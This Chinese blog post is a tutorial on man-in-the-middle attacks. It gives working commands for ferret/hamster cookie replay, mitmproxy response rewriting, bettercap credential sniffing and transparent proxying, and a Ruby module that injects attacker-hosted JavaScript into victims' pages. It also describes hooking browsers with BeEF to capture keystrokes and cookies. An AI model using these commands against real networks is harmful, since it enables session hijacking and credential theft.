细说中间人攻击(二)
在细说中间人攻击(一)介绍了比较常见的中间人攻击做法,即用wireshark抓取数据包,用ettercap来进行出入流量的替换和修改,从而达到监控和修改目标网页的目的。然而中间人攻击的工具繁多,并非只有ettercap一个,因此这篇博文我将再介绍几种常见的MITM框架以及简单说明其使用方法,以达到方便监控目标和攻击目标的目的。
抓取Cookie本地重现
在我搜索中间人攻击相关主题的时候,发现国内博客提及比较多的cookie盗取所用的软件是ferret&hamster,hamster这个软件是在2007年黑客大会上Robert Graham展示用来方便在浏览器中快速重现所捕捉到的会话的,其中ferret用来扑捉数据或者对已经扑捉的.pcap数据进行格式化处理,生成一个txt文件,然后用hamster来读取这个txt并且在本机启动一个代理服务器,只要浏览器设置了相对应的地址(本机地址)和端口的代理进行访问就能看见所有截获的http会话了。由于这个软件年代久远,而且只是在大会上做个demo,并不是很完善的产品,因此也有比较大的不稳定性,即便如此在如今还是在各种博客里被屡屡提及,所以我也简单介绍下这个工具的使用。
hamster和ferret可以到官网http://hamster.erratasec.com下载,但最近似乎没有更新了,毕竟快是十年前的东西。我是直接在robert的github上下载的c++源代码,总体功能并不复杂,就当学习一下大神的coding方法了。有一点值得一提,hamster用的是32位的库,因此自己如果是64位操作系统,编译或者运行都需要安装ia32-libs以及一些使用到的非标准库,同时源代码要进行简单的修改。为了方便我连同依赖直接fork到了这里。
再说使用方法,其实这倒是最简单的,关键就三步:
-
抓取指定端口的数据
-
用ferret格式化解析本地数据
ferret -r file.pcap //生成hamster.txt
- hamster打开本地代理服务器,默认端口是1234
hamster //在和hamster.txt相同目录下打开
然后打开浏览器,设置代理为127.0.0.1:1234
,打开http://hamster
就能看到所扑捉的所有会话了,如果有cookie信息,也能直接还原出来。其中第一步可以用任何抓包工具来做,也可以用ferret -i来抓包,这样的话1、2步也可以合并成一步。
中间人代理
HTTP/HTTPS代理服务器有很多,比如Fiddler2,burpsuite和mitmproxy等工具都可以建立一个代理服务器。代理服务器往往用来辅助web开发和调试,当然也能用于渗透测试即中间人攻击。其中比较轻量级的是mitmproxy,用python编写而成,可以很容易进行拓展和定制。
mitmproxy进行HTTPS代理的过程和我在细说中间人攻击(一)的最后一节讲的大同小异,简而言之就是mitmproxy本身与服务器和客户端双向进行SSL链接,当然前提是mitmproxy使用的证书要被信任,不然客户端进行https访问的时候浏览器地址栏会有个不信任证书的提醒。
下面介绍一下mitmproxy工具集中几个常用工具的使用方法。
mitmproxy
mitmproxy是一个交互式的流量监控和分析工具,其操作界面的控制方式类似于vim。直接命令行打开:
mitmproxy -p 1234
会在本地打开一个代理服务器,端口号为1234。也可以不指定,默认端口号是8080。然后使得目标通过你的这个代理上网,就能在交互界面中看到所有的POST和GET等请求。还可以指定任意一条请求回车进入查看详细的请求数据,也可以看tab切换respond和detail数据。对于respond的数据还可以根据格式来进行相应的展现。同时也能按e进行修改请求,然后按r进行回放。不得不说其可视化界面做得很好,所有的浏览请求一目了然。交互式的界面更适合用于请求的分析。mitmproxy作为一个“中间人”代理,当然也能对数据进行拦截,使用i指定拦截的表达式即可。
mitmdump
与mitmproxy相对的,mitmdump是一个非交互的抓包工具,不过还提供了用python脚本来对数据包进行修改替换的操作,有点类似于ettercap的filter插件。可以实时修改request和respond每一个细节,当然也可以非实时地对mitmproxy保存的离线包进行操作。
mitmdump -n -r capture.data -w output.data [filter]
其中capture.data是mitmproxy用w键保存的数据。mitmdump可以对其过滤处理产生新的包。[filter]是过滤的条件,如“~d douban.com“表示特定域名,~h表示特定header等等。对于新生成的数据包,我们也可以用mitmdump重播:
mitmdump -n -c output.data
libmproxy
mitmdump的一个主要作用是支持inline脚本,用–script调用,脚本中用到了mitmdump提供的拓展库libmproxy,就像其他python第三方库一样,不过其拥有操纵http响应每个细节的能力,实乃居家旅行必备。用法很简单:
mitmdump -s myscript.py -p 1234
如一个修改响应文字内容的inline脚本如下:
# Usage: mitmdump -s "modify_response_body.py mitmproxy bananas"
# (this script works best with --anticache)
from libmproxy.models import decoded
def start(context, argv):
if len(argv) != 3:
raise ValueError('Usage: -s "modify-response-body.py old new"')
# You may want to use Python's argparse for more sophisticated argument
# parsing.
context.old, context.new = argv[1], argv[2]
def response(context, flow):
with decoded(flow.response): # automatically decode gzipped responses.
flow.response.content = flow.response.content.replace(
context.old,
context.new)
这里需要注意的是不同版本的libmproxy的改动非常大!!我之前是直接apt-get下载的mitmproxy0.8,那时还没有libmproxy.models,所以要注意自己的版本。建议在github上clone最新版本,用pip+virturlenv进行包管理十分方便,目前最新版本是mitmproxy0.14.x,最新版还增加了一个mitmweb的工具,可见其更新速度非常快,这对开源工具来说是一件大好事。
另外在github仓库里还有inline脚本的example,文档也很齐全。除了inline调用以外,我们甚至可以使用libmproxy来自己用python写一个mitmproxy!而且实现起来也非常简单,因为mitmproxy本身大部分功能都是基于libmproxy里实现的。
“更好的ettercap”——bettercap
很多人可能会问,既然有了ettercap,干嘛还要再弄一个差不多的东西?其实按照bettercap作者的说法,ettercap虽然是个很棒的工具,但是已经过时了,而且似乎维护也是有气无力。ettercap在大型网络中相当不稳定,在操纵http的payload时往往还需要别的工具来辅助,比如上面提到的mitmproxy。因此bettercap就诞生啦!
bettercap的操作也十分简单明了,比如在局域网中嗅探所有数据:
bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
其中-P指定加载的parsers,也可以不指定,默认和ettercap一样全部加载。也可以将数据保存在本地:
bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"
–sniffer-filter参数表示的意思很明显,即只保存目的端口为80的tcp数据(即http)。值得一提的是,这里没有指定网关和网络接口,因为 用的都是默认值,即当前网关和当前默认网卡,当然也可以分别用-G 和 -I 指定。
模块化的透明代理
上面讲mitmproxy的时候已经介绍了代理,而bettercap正好也可以实现类似的功能,在本地启动一个中间人代理服务器并且将数据流量都通过代理收发。
bettercap --proxy --proxy-port=1234
指定代理端口为1234,默认为8080。这条命令默认只记录http请求,如果指定–proxy-module参数就可以加载你自定义的模块来操纵流量。自定义的拓展模块用Ruby写成,语法很简单,比如一个修改网页title的例子hack_title.rb
如下:
class HackTitle < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type =~ /^text\/html.*/
Logger.info "Hacking http://#{request.host}#{request.url} title tag"
# make sure to use sub! or gsub! to update the instance
response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
end
end
end
调用方法
bettercap --proxy --proxy-module=hack_title.rb
内嵌http服务器
其实这个选项比较鸡肋,不过也是bettercap为了达到它所说的“只用一个工具”的效果吧。其主要用途就是给payload注入JS的时候需要从服务器去请求,bettercap可以配合proxy module很容易一步实现:
bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
其中inject.rb的代码如下:
class InjectJS < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type =~ /^text\/html.*/
Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
# get the local interface address and HTTPD port
localaddr = Context.get.ifconfig[:ip_saddr]
localport = Context.get.options[:httpd_port]
# inject the js
response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
end
end
end
目前bettercap的功能还比较简单,但优点是其更新维护非常快,可以说是日新月异,和ettercap等老古董形成鲜明对比呀:D
注: 新版本 bettercap 已经替换为 Golang 实现。
BeEF
BeEF全称为Browser Exploitation Framework,是一个著名的浏览器劫持框架,也是采用Ruby编写。虽然安装依赖的过程有点繁琐,但用起来着实简单无比, 只需要运行:
./beef
运行后会启动一个用户接口服务器和一个挂载BeEF主要JS脚本(hook.js)的服务器,其架构如下:
其中用户接口也是一个http服务器,我们只需要在浏览器中打开,就能进入一个展现所有被注入的客户机的管理后台。如果客户端浏览的某个网页payload中加载了hook.js,那么其一举一动都会发送到我们的UI服务器上,包括鼠标的点击事件,点击位置,键盘事件等等,查看cookie和客户端的机器信息更是不在话下:
针对每一台被劫持的客户端(浏览器),我们还可以对其发送不同的指令,比如播放音乐,锁住页面,打开web摄像头。值得一提的是,BeEF还能配合metasploit 来入侵目标的电脑,从而在目标关闭浏览器后依旧能拥有其计算机的控制权。
后记
中间人攻击的大致方法至此就介绍得差不多了,在总结的过程中自己也学了不少工具的的用法。虽然MITM的工具繁多,但明白其原理才能更好地去使用, 以及对其进行拓展。轮子是个好东西,人类只有几十年有效寿命和有限的精力,却能够不断发展到现在这样科技发达,靠的就是不断理解和使用轮子,把前人的推论当成定理,可以说人类社会的进步就是一个面向对象编程的过程。但是,也不用把别人的轮子看得过于神秘,说到底中间人也就是接收,解析,发送三步而已。
至于怎么防御这类攻击,最好的方法就是浏览器禁cookie,禁javascript,禁flash,最终还是得和个人的上网体验相权衡,毕竟如果把眼睛都蒙上了,还上什么网呢。